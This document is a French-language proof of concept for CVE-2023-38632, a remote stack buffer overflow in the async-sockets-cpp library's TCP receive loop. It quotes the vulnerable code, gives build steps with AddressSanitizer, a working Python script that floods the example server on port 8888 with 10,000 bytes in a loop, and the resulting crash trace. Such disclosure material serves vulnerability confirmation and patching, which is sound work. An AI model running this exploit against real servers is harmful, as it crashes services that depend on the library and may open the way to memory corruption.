
Preuve de concept pour CVE-2023-38632
async-sockets-cpp jusqu'à la version 0.3.1 contient une vulnérabilité de dépassement de tampon à distance dans static void Receive(TCPSocket* socket) dans tcpsocket.hpp, aux lignes 102-110. Le dépassement de tampon affecte tous les serveurs TCP correspondants. Le dépassement de tampon à distance peut être déclenché en se connectant à un socket et en envoyant un grand tampon d'octets.
while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0)
{
tempBuffer[messageLength] = '\0';
if(socket->onMessageReceived)
socket->onMessageReceived(std::string(tempBuffer, messageLength));
if(socket->onRawMessageReceived)
socket->onRawMessageReceived(tempBuffer, messageLength);
}
Pour confirmer le problème, décompressez et compilez le serveur TCP d'exemple (inclus dans ce dépôt) depuis le dossier async-sockets-cpp-master/examples avec les symboles de débogage et l'address sanitizer :
$ unzip async-sockets-cpp-master.zip
$ cd async-sockets-cpp-master/examples
CC := g++
CFLAGS := --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
LIBS := -lpthread -fsanitize=address
INC := ../async-sockets/include
RM := rm
.PHONY: all clean
all: tcp-client tcp-server udp-client udp-server
tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-client: udp-client.cpp $(INC)/udpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-server: udp-server.cpp $(INC)/udpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
clean:
$(RM) tcp-client
$(RM) tcp-server
$(RM) udp-client
$(RM) udp-server
À partir du dossier async-sockets-cpp-master/examples, exécutez la commande suivante pour compiler le serveur :
$ make
Une fois le serveur compilé, exécutez tcp-server sur le port 8888 :
$ ./tcp-server
Le script python3 suivant se connectera au serveur tcp-server et enverra un grand paquet d'environ 10 000 octets de données. La taille minimale requise pour déclencher le dépassement de tampon est de 4 096 octets :
import socket
host = "localhost"
port = 8888 # The same port as used by the server
buf = b'A'*10000 # Overflow happens at 4096 bytes
while(True):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
#print('Received', repr(data))
except:
print("Completed...")
L'exécution du script python3 ci-dessus fera planter le serveur et produira la sortie détaillée suivante d'address sanitizer montrant l'emplacement du dépassement de tampon de pile :
$ python3 CVE-2023-38632.py
=================================================================
==1124507==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff4ffdcb0 at pc 0x55555555ef97 bp 0x7ffff4ffcc00 sp 0x7ffff4ffcbf8
WRITE of size 1 at 0x7ffff4ffdcb0 thread T2
#0 0x55555555ef96 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:104
#1 0x555555560775 in void std::__invoke_impl<void, void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
#2 0x5555555605eb in std::__invoke_result<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
#3 0x5555555604f2 in void std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:252
#4 0x55555556048f in std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:259
#5 0x555555560453 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:210
#6 0x7ffff74d44a2 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd44a2)
#7 0x7ffff76a7fd3 in start_thread nptl/pthread_create.c:442
#8 0x7ffff77285bb in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7ffff4ffdcb0 is located in stack of thread T2 at offset 4224 in frame
#0 0x55555555eea1 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:97